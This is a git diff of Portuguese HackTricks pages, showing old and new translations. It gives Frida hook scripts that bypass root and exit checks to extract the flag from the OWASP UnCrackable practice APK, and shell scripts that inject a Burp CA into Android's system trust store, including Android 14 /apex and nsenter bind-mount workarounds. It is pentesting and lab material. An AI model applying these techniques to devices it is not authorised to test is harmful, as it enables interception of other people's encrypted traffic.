* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,37 +1,35 @@
|
|||
# Tutorial de Frida 3
|
||||
# Tutorial do Frida 3
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
\\
|
||||
|
||||
***
|
||||
|
||||
**De**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**Este é um resumo do post**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||
|
||||
## Solução 1
|
||||
|
||||
Baseado em [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
|
||||
|
||||
**Intercepte a função \_exit()**\_ e a **função de descriptografia** para que ela imprima a flag no console do frida quando você pressionar verificar:
|
||||
**Interceptar a função \_exit()** e a **função de descriptografia** para que imprima a flag no console do frida quando você pressionar verificar:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
send("Starting hooks OWASP uncrackable1...");
|
||||
|
@ -70,9 +68,9 @@ send("Hooks installed.");
|
|||
```
|
||||
## Solução 2
|
||||
|
||||
Baseado em [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
|
||||
Com base em [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
|
||||
|
||||
**Intercepte verificações de root** e a função de descriptografia para que ela imprima a flag no console do frida quando você pressionar verificar:
|
||||
**Hook rootchecks** e a função decriptação para que imprima a flag no console do frida quando você pressionar verificar:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
send("Starting hooks OWASP uncrackable1...");
|
||||
|
@ -130,20 +128,20 @@ send("Hooks installed.");
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente escrito e falado_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,26 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Em uma Máquina Virtual
|
||||
|
||||
Primeiramente, você precisa baixar o certificado Der do Burp. Você pode fazer isso em _**Proxy**_ --> _**Opções**_ --> _**Importar / Exportar Certificado CA**_
|
||||
Primeiramente, você precisa baixar o certificado Der do Burp. Você pode fazer isso em _**Proxy**_ --> _**Opções**_ --> _**Importar/Exportar certificado CA**_
|
||||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**Exporte o certificado no formato Der** e vamos **transformá-lo** em um formato que o **Android** possa **entender.** Note que **para configurar o certificado burp na máquina Android no AVD**, você precisa **executar** esta máquina com a opção **`-writable-system`**.\
|
||||
Por exemplo, você pode executá-la assim:
|
||||
**Exporte o certificado no formato Der** e vamos **transformá-lo** para uma forma que o **Android** será capaz de **entender**. Note que **para configurar o certificado burp na máquina Android no AVD** você precisa **executar** esta máquina **com** a opção **`-writable-system`**.\
|
||||
Por exemplo, você pode executá-lo assim:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -29,7 +29,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Em seguida, para **configurar o certificado do Burp faça**:
|
||||
Em seguida, para **configurar o certificado do burp**, faça o seguinte:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -44,49 +44,39 @@ adb reboot #Now, reboot the machine
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Uma vez que a **máquina terminar de reiniciar**, o certificado Burp estará em uso por ela!
|
||||
Uma vez que a **máquina terminar de reiniciar**, o certificado do Burp estará em uso por ela!
|
||||
|
||||
## Usando Magisc
|
||||
|
||||
Se você **rootou seu dispositivo com Magisc** (talvez um emulador), e você **não consegue seguir** os **passos** anteriores para instalar o certificado Burp porque o **sistema de arquivos é somente leitura** e você não pode remontá-lo como gravável, existe outra maneira.
|
||||
Se você **rootou seu dispositivo com Magisc** (talvez um emulador), e você **não consegue seguir** os **passos anteriores** para instalar o certificado do Burp porque o **sistema de arquivos está somente leitura** e você não pode remontá-lo como gravável, há outra maneira.
|
||||
|
||||
Explicado [**neste vídeo**](https://www.youtube.com/watch?v=qQicUW0svB8), você precisa:
|
||||
Explicado em [**este vídeo**](https://www.youtube.com/watch?v=qQicUW0svB8) você precisa:
|
||||
|
||||
1. **Instalar um certificado CA**: Simplesmente **arraste e solte** o certificado Burp DER **mudando a extensão** para `.crt` no celular para que seja armazenado na pasta Downloads e vá para `Instalar um certificado` -> `Certificado CA`
|
||||
1. **Instalar um certificado CA**: Apenas **arraste e solte** o certificado DER do Burp **alterando a extensão** para `.crt` no celular para que seja armazenado na pasta Downloads e vá para `Instalar um certificado` -> `Certificado CA`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Verifique se o certificado foi armazenado corretamente indo para `Credenciais confiáveis` -> `USUÁRIO`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Torná-lo confiável pelo Sistema**: Baixe o módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (um arquivo .zip), **arraste e solte** no telefone, vá para o **aplicativo Magics** no telefone na seção **`Módulos`**, clique em **`Instalar do armazenamento`**, selecione o módulo `.zip` e uma vez instalado **reinicie** o telefone:
|
||||
2. **Torná-lo confiável pelo sistema**: Baixe o módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (um arquivo .zip), **arraste e solte** no telefone, vá para o aplicativo **Magics** no telefone para a seção **`Módulos`**, clique em **`Instalar do armazenamento`**, selecione o módulo `.zip` e uma vez instalado **reinicie** o telefone:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* Após reiniciar, vá para `Credenciais confiáveis` -> `SISTEMA` e verifique se o certificado Postswigger está lá
|
||||
* Após reiniciar, vá para `Credenciais confiáveis` -> `SISTEMA` e verifique se o certificado do Postswigger está lá
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Pós Android 14
|
||||
|
||||
Mudanças:
|
||||
No lançamento mais recente do Android 14, observou-se uma mudança significativa no tratamento de certificados de Autoridade de Certificação (CA) confiáveis pelo sistema. Anteriormente, esses certificados estavam localizados em **`/system/etc/security/cacerts/`**, acessíveis e modificáveis por usuários com privilégios de root, o que permitia a aplicação imediata em todo o sistema. No entanto, com o Android 14, o local de armazenamento foi movido para **`/apex/com.android.conscrypt/cacerts`**, um diretório dentro do caminho **`/apex`**, que é imutável por natureza.
|
||||
|
||||
* Até agora, os certificados CA confiáveis pelo sistema estavam em **`/system/etc/security/cacerts/`**. Em um emulador AOSP padrão, esses poderiam ser **modificados diretamente com acesso root** com configuração mínima, tendo **efeito imediato em todo lugar**.
|
||||
* No Android 14, os certificados CA confiáveis pelo sistema geralmente estarão em **`/apex/com.android.conscrypt/cacerts`**, e todo o **`/apex` é imutável**.
|
||||
* Esse caminho **APEX cacerts não pode ser remontado como gravável** - remontagens simplesmente falham. De fato, mesmo que você desmonte todo o caminho de um shell root, os aplicativos ainda podem ler seus certificados sem problemas.
|
||||
* A técnica alternativa de **montar um diretório tmpfs por cima também não funciona** - mesmo que isso signifique que `ls /apex/com.android.conscrypt/cacerts` possa não retornar nada (ou qualquer outra coisa que você queira), os aplicativos ainda verão os mesmos dados originais.
|
||||
* Porque a montagem `/apex` é [explicitamente montada](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a) **com propagação PRIVADA**, de modo que todas as alterações nas montagens dentro do caminho `/apex` nunca são compartilhadas entre processos.
|
||||
Tentativas de remontar o caminho **APEX cacerts** como gravável são frustradas, pois o sistema não permite tais operações. Mesmo tentativas de desmontar ou sobrepor o diretório com um sistema de arquivos temporário (tmpfs) não contornam a imutabilidade; aplicativos continuam acessando os dados do certificado original, independentemente de alterações no nível do sistema de arquivos. Essa resiliência se deve à montagem **`/apex`** ser configurada com propagação PRIVADA, garantindo que quaisquer modificações dentro do diretório **`/apex`** não afetem outros processos.
|
||||
|
||||
Isso é feito pelo processo `init` que inicia o SO, que então lança o processo [Zygote](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote) (com um novo namespace de montagem copiado do pai, incluindo sua **própria montagem `/apex` privada**), que por sua vez **inicia cada processo de aplicativo** sempre que um aplicativo é lançado no dispositivo (que cada um por sua vez então **copia essa mesma montagem `/apex` privada**).
|
||||
A inicialização do Android envolve o processo `init`, que, ao iniciar o sistema operacional, também inicia o processo Zygote. Esse processo é responsável por iniciar processos de aplicativos com um novo namespace de montagem que inclui uma montagem privada do **`/apex`**, isolando assim as alterações neste diretório de outros processos.
|
||||
|
||||
### Remontando pontos de montagem recursivamente
|
||||
|
||||
* Você pode remontar `/apex` manualmente, removendo a propagação PRIVADA e tornando-o gravável (ironicamente, parece que remover completamente a propagação privada _realmente_ se propaga por todo lugar)
|
||||
* Você copia todo o conteúdo de `/apex/com.android.conscrypt` para outro lugar
|
||||
* Então você desmonta `/apex/com.android.conscrypt` completamente - removendo a montagem somente leitura que fornece imutavelmente este módulo
|
||||
* Então você copia o conteúdo de volta, para que ele viva diretamente na montagem `/apex`, onde ele pode ser modificado (você precisa fazer isso rapidamente, pois [aparentemente](https://infosec.exchange/@g1a55er/111069489513139531) você pode ver falhas de outra forma)
|
||||
* Isso deve ter efeito imediato, mas eles recomendam matar `system_server` (reiniciando todos os aplicativos) para que tudo volte a um estado consistente
|
||||
No entanto, existe uma solução alternativa para aqueles que precisam modificar os certificados CA confiáveis pelo sistema dentro do diretório **`/apex`**. Isso envolve remontar manualmente o **`/apex`** para remover a propagação PRIVADA, tornando-o gravável. O processo inclui copiar o conteúdo de **`/apex/com.android.conscrypt`** para outra localização, desmontar o diretório **`/apex/com.android.conscrypt`** para eliminar a restrição somente leitura e, em seguida, restaurar o conteúdo para sua localização original dentro de **`/apex`**. Esta abordagem requer ação rápida para evitar falhas no sistema. Para garantir a aplicação dessas alterações em todo o sistema, é recomendável reiniciar o `system_server`, o que efetivamente reinicia todos os aplicativos e coloca o sistema em um estado consistente.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -144,41 +134,39 @@ wait # Launched in parallel - wait for completion here
|
|||
|
||||
echo "System certificate injected"
|
||||
```
|
||||
### Montagem vinculada através do NSEnter
|
||||
|
||||
* Primeiro, precisamos configurar um diretório gravável em algum lugar. Para fácil compatibilidade com a abordagem existente, estou fazendo isso com uma montagem `tmpfs` sobre o diretório de certificados do sistema não-APEX ainda presente:
|
||||
### Montagem de ligação através do NSEnter
|
||||
|
||||
1. **Configurar um Diretório Gravável**: Inicialmente, um diretório gravável é estabelecido montando um `tmpfs` sobre o diretório existente de certificados do sistema não-APEX. Isso é alcançado com o seguinte comando:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
* Em seguida, você coloca os certificados CA de seu interesse neste diretório (por exemplo, você pode querer copiar todos os padrões existentes do diretório de certificados CA `/apex/com.android.conscrypt/cacerts/`) e definir as permissões e rótulos SELinux apropriadamente.
|
||||
* Então, use `nsenter` para entrar no namespace de montagem do Zygote e montar este diretório sobre o diretório APEX:
|
||||
2. **Preparando Certificados CA**: Após a configuração do diretório gravável, os certificados CA que se pretende usar devem ser copiados para este diretório. Isso pode envolver copiar os certificados padrão de `/apex/com.android.conscrypt/cacerts/`. É essencial ajustar as permissões e rótulos SELinux desses certificados adequadamente.
|
||||
|
||||
3. **Montagem de Bind para Zygote**: Utilizando `nsenter`, entra-se no namespace de montagem do Zygote. O Zygote, sendo o processo responsável por iniciar aplicativos Android, requer este passo para garantir que todos os aplicativos iniciados daqui em diante utilizem os certificados CA recém-configurados. O comando usado é:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- \
|
||||
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
Isso garante que todo novo aplicativo iniciado seguirá a configuração atualizada de certificados CA.
|
||||
|
||||
O processo Zygote gera cada aplicativo, copiando seu namespace de montagem para fazer isso, então isso garante que todos os aplicativos recém-lançados (tudo que for iniciado a partir de agora) usarão isso.
|
||||
* Então, use `nsenter` para entrar no namespace de cada aplicativo já em execução e faça o mesmo:
|
||||
|
||||
4. **Aplicando Alterações aos Aplicativos em Execução**: Para aplicar as alterações aos aplicativos que já estão em execução, `nsenter` é novamente usado para entrar individualmente no namespace de cada aplicativo e realizar uma montagem de bind semelhante. O comando necessário é:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- \
|
||||
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **Abordagem Alternativa - Reinicialização Suave**: Um método alternativo envolve realizar o bind mount no processo `init` (PID 1) seguido por uma reinicialização suave do sistema operacional com os comandos `stop && start`. Esta abordagem propagaria as alterações em todos os namespaces, evitando a necessidade de abordar individualmente cada aplicativo em execução. No entanto, este método geralmente é menos preferido devido ao inconveniente de reinicialização.
|
||||
|
||||
Alternativamente, se você não se importar com a UX desajeitada, você deve ser capaz de fazer a montagem vinculada no próprio `init` (PID 1) e depois executar `stop && start` para reiniciar suavemente o SO, recriando todos os namespaces e propagando suas mudanças em todos os lugares (mas pessoalmente eu me importo com a reinicialização desajeitada, então estou ignorando completamente esse caminho).
|
||||
## Referências
|
||||
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -13,7 +13,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
</details>
|
||||
|
||||
|
||||
**Dê uma olhada em: [https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
**Dê uma olhada em: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -1,82 +1,51 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Como Desofuscar
|
||||
## Técnicas de **Desofuscação Manual**
|
||||
|
||||
As estratégias de desofuscação dependem do método de ofuscação. Esta seção introduz técnicas de desofuscação estática, adequadas para análise estática ou reversa:
|
||||
No campo da **segurança de software**, o processo de tornar o código obscuro compreensível, conhecido como **desofuscação**, é crucial. Este guia explora várias estratégias de desofuscação, focando em técnicas de análise estática e reconhecimento de padrões de ofuscação. Além disso, ele apresenta um exercício para aplicação prática e sugere recursos adicionais para aqueles interessados em explorar tópicos mais avançados.
|
||||
|
||||
* Para bytecode DEX (Java), uma abordagem comum é identificar e replicar os métodos de desofuscação da aplicação em um arquivo Java, que é então executado contra os elementos ofuscados.
|
||||
* Tanto para Java quanto para Código Nativo, outra técnica envolve traduzir o algoritmo de desofuscação para uma linguagem de script familiar como Python, enfatizando que entender o algoritmo não é tão crucial quanto ser capaz de executá-lo.
|
||||
### **Estratégias para Desofuscação Estática**
|
||||
|
||||
## Indicadores de Ofuscação
|
||||
Ao lidar com **código ofuscado**, várias estratégias podem ser empregadas, dependendo da natureza da ofuscação:
|
||||
|
||||
Reconhecer a ofuscação envolve identificar certos indicadores, com os seguintes exemplos fornecidos:
|
||||
- **Bytecode DEX (Java)**: Uma abordagem eficaz envolve identificar os métodos de desofuscação do aplicativo e replicar esses métodos em um arquivo Java. Este arquivo é executado para reverter a ofuscação nos elementos visados.
|
||||
